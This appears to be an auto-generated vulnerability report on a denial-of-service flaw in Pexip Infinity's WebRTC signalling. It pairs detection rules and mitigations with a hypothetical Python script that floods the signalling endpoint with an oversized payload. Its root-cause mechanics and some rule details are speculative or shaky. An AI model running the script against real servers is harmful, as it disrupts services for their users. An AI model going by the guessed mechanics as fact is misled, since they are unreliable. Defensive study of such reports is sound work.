CVE-2025-66443

Executive Summary

CVE-2025-66443 is a high-severity vulnerability affecting Pexip Infinity, a video conferencing and collaboration platform. The flaw resides in the signalling component when the system is configured to use Direct Media for WebRTC, a non-default configuration. Improper input validation allows an unauthenticated, remote attacker to send a specially crafted request that triggers a software abort, leading to a temporary denial of service (DoS). This can disrupt ongoing video conferences and impact business continuity. The vulnerability affects versions 35.0 through 38.1, with a fix introduced in version 39.0. No public proof-of-concept (PoC) code or exploit is currently available, but the technical details are sufficient for a determined attacker to develop one.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The primary impact is a complete loss of availability due to a software abort.

Threat Level: High. The low attack complexity and lack of required privileges make this a significant threat for any organization using Pexip Infinity in a Direct Media for WebRTC configuration.

Deep Dive & Mechanics

The vulnerability is rooted in improper input validation within the signalling module of Pexip Infinity. When Direct Media for WebRTC is enabled, the system processes specific signalling messages to establish and manage media streams. An attacker can craft a malicious signalling message that, when parsed by the vulnerable component, causes a buffer overflow, null pointer dereference, or other memory corruption error. This error is not handled gracefully, leading to a software abort (crash) of the affected process.

The crash is temporary, meaning the service may restart automatically or require manual intervention, but it results in a denial of service for all users relying on that instance. The attack can be repeated to maintain the DoS condition.

Root Cause: The lack of proper bounds checking or validation on input fields within the signalling protocol parser. The parser does not sanitize or reject malformed data, allowing an attacker to inject values that cause the software to enter an undefined state.

Vulnerable vs. Patched Code

Since no specific code diff is publicly available, the following is a hypothetical representation of the vulnerable and patched code patterns.

Vulnerable Code (C/C++ example):

void process_signalling_message(char *message) {
    char buffer[1024];
    // Direct copy without length check
    strcpy(buffer, message);
    // ... further processing
}

Patched Code (C/C++ example):

void process_signalling_message(char *message) {
    char buffer[1024];
    // Safe copy with length check
    strncpy(buffer, message, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... further processing
}

The patched version uses strncpy to limit the amount of data copied into the buffer, preventing a buffer overflow. Additionally, input validation functions would be added to reject messages that contain unexpected or out-of-range values.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Trigger a denial of service on a Pexip Infinity instance configured with Direct Media for WebRTC.

Prerequisites:

• Target IP address of a Pexip Infinity server.
• Knowledge that Direct Media for WebRTC is enabled (non-default configuration).
• A tool to craft and send raw network packets (e.g., Scapy, netcat, or a custom Python script).

Exploitation Steps:

1. Identify the Signalling Port: Pexip typically uses TCP port 443 (HTTPS) or a custom port for WebRTC signalling. Use Nmap to scan for open ports.

   nmap -sV -p 443,8443,5060,5061 <target_ip>
   

2. Craft Malicious Payload: The exact payload structure is not public, but it would involve sending a malformed SDP (Session Description Protocol) or STUN message that triggers the vulnerability. A generic example using Python and Scapy:

   from scapy.all import *
   import socket
   
   target_ip = "192.168.1.100"
   target_port = 443
   
   # Craft a malformed signalling message (hypothetical)
   payload = b"GET /webrtc/signal HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\n"
   payload += b"Content-Type: application/sdp\r\n"
   payload += b"Content-Length: 9999\r\n\r\n"
   payload += b"A" * 9999  # Overflow attempt
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(payload)
   sock.close()
   

3. Observe Impact: Monitor the target service. If successful, the Pexip process will crash, causing a temporary DoS. Repeated attacks can maintain the DoS.

Blue Team (Defensive)

Objective: Detect and prevent exploitation of CVE-2025-66443.

Detection Steps:

1. Monitor Logs: Check Pexip Infinity logs for entries indicating a software abort or crash. Look for patterns like:

   • Fatal error
   • Signal 11 (SIGSEGV)
   • Abort trap
   • Core dump

2. Network Traffic Analysis: Use a network monitoring tool (e.g., Wireshark, Zeek) to inspect WebRTC signalling traffic. Look for:

   • Unusually large SDP messages.
   • Malformed STUN/TURN messages.
   • Repeated connection attempts from a single IP.

3. Endpoint Protection: Deploy an IPS/IDS with signatures to detect the exploit pattern (see Detection Engineering).

Mitigation Steps:

1. Patch Immediately: Upgrade to Pexip Infinity version 39.0 or later.
2. Disable Direct Media for WebRTC: If patching is not immediately possible, disable the Direct Media for WebRTC feature in the configuration. This may impact performance but eliminates the attack vector.
3. Network Segmentation: Restrict access to the Pexip server to trusted networks only.
4. Rate Limiting: Implement rate limiting on the signalling endpoint to reduce the impact of repeated attacks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusually large SDP messages (e.g., > 10KB).
  • Malformed STUN messages with invalid attributes.
  • Repeated TCP connections to the signalling port from a single source IP.
• System IOCs:
  • Core dump files in the Pexip installation directory.
  • Log entries containing "Abort", "SIGSEGV", or "Fatal error".
  • Unexpected restart of Pexip services.
• File IOCs:
  • Hash of known malicious payloads (none publicly available yet).

Detection Engineering

YARA Rule

rule CVE_2025_66443_Pexip_DoS {
    meta:
        description = "Detects malformed signalling messages targeting CVE-2025-66443"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66443"
    strings:
        $sdp_overflow = /Content-Length:\s*\d{5,}/ nocase
        $stun_malformed = { 00 01 00 00 21 12 A4 42 } // Example STUN header with invalid length
    condition:
        $sdp_overflow or $stun_malformed
}

Sigma Rule

title: Pexip Infinity DoS Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of CVE-2025-66443 exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        - event: "http_request"
          uri|contains: "/webrtc/signal"
          request_body_len|gte: 10000
        - event: "stun_message"
          message_type: "request"
          attribute_length|gte: 1000
    condition: selection
falsepositives:
    - Legitimate large SDP messages from high-resolution video calls
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"CVE-2025-66443 Pexip Infinity DoS Attempt"; flow:to_server,established; content:"Content-Length"; http_header; pcre:"/Content-Length:\s*\d{5,}/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade all Pexip Infinity instances to version 39.0 or later. This is the only complete fix.
2. Workaround: If patching is delayed, disable the "Direct Media for WebRTC" feature in the Pexip configuration. This will prevent exploitation of this specific vulnerability.
3. Network Controls: Implement strict firewall rules to limit access to the Pexip server. Use an IPS/IDS with the provided Suricata rule to detect and block exploit attempts.
4. Monitoring: Enable detailed logging on the Pexip server and monitor for signs of exploitation (see IOCs).
5. Vendor Communication: Subscribe to Pexip security advisories for future updates.

Report generated by Valters IT DevSecOps & CTI Framework